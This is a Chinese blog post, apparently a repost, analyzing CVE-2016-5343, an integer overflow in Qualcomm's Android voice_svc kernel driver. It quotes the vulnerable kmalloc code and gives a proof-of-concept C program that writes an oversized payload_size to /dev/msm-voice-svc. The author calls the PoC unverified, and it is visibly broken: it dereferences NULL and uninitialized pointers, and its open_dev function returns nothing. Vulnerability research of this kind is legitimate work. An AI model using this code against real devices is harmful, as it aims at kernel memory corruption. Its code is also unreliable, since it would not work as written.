CVE-2016-5343分析

最近在学习android内核漏洞,写篇博做个记录,也算是所学即用。 https://www.codeaurora.org/multiple-memory-corruption-issues-write-operation-qdsp6v2-voice-service-driver-cve-2016-5343,有高通的洞也是潜力无限,漏洞定位到/msm/drivers/soc/qcom/qdsp6v2/voice_svc.c的voice_svc_send_req,可以得知write操作能触发,没有搜到这个洞的poc,看补丁,是个整数溢出,用户控制的payload_size,传入kmalloc函数,payload_size+sizeof(struct apr_data)作为分配大小,于是很明显可产生整数溢出了,实际分配了比期望小很多的内存,后续引用该内存发生不可预期结果。

static int voice_svc_send_req(struct voice_svc_cmd_request *apr_request,
                  struct voice_svc_prvt *prtd)
{
    int ret = 0;
    void *apr_handle = NULL;
    struct apr_data *aprdata = NULL;
    uint32_t user_payload_size = 0;

    pr_debug("%s\n", __func__);

    if (apr_request == NULL) {
        pr_err("%s: apr_request is NULL\n", __func__);

        ret = -EINVAL;
        goto done;
    }

    user_payload_size = apr_request->payload_size;//

    aprdata = kmalloc(sizeof(struct apr_data) + user_payload_size,
              GFP_KERNEL);//会分配小于设定值的内存
    if (aprdata == NULL) {
        pr_err("%s: aprdata kmalloc failed.\n", __func__);

        ret = -ENOMEM;
        goto done;
    }

写了个poc,尚未经验证,先记录下,后续实验过后再完善:

 1 #include <stdlib.h>
 2 #include <stdio.h>
 3 #include <unistd.h>
 4 #include <sys/ioctl.h>
 5 #include <sys/types.h>
 6 #include <sys/stat.h>
 7 #include <fcntl.h>
 8 #include "voice_svc.h"
 9 
10 static int open_dev(const char *dev){
11     int fd=open(dev,O_RDWR);
12     if(fd<0){
13         printf("failed to open %s\n",dev);
14         exit(EXIT_FAILURE);
15     }
16 }
17 
18 int main(void){
19     struct voice_svc_write_msg *data=NULL;
20     data->msg_type=MSG_REQUEST;
21     struct voice_svc_cmd_request *apt_request;
22     apt_request->payload_size=0xffffffff;
23     
24     data->payload[0] = apt_request;
25     int fd=-1;
26     fd=open_dev("/dev/msm-voice-svc");//设备名有待确定
27     int ret;
28     ret=write(fd,data,(sizeof(*data)+sizeof(struct voice_svc_register)));
29     close(fd);
30         return 0;
31 }

 

转载于:https://www.cnblogs.com/Joe-Z/p/5918041.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值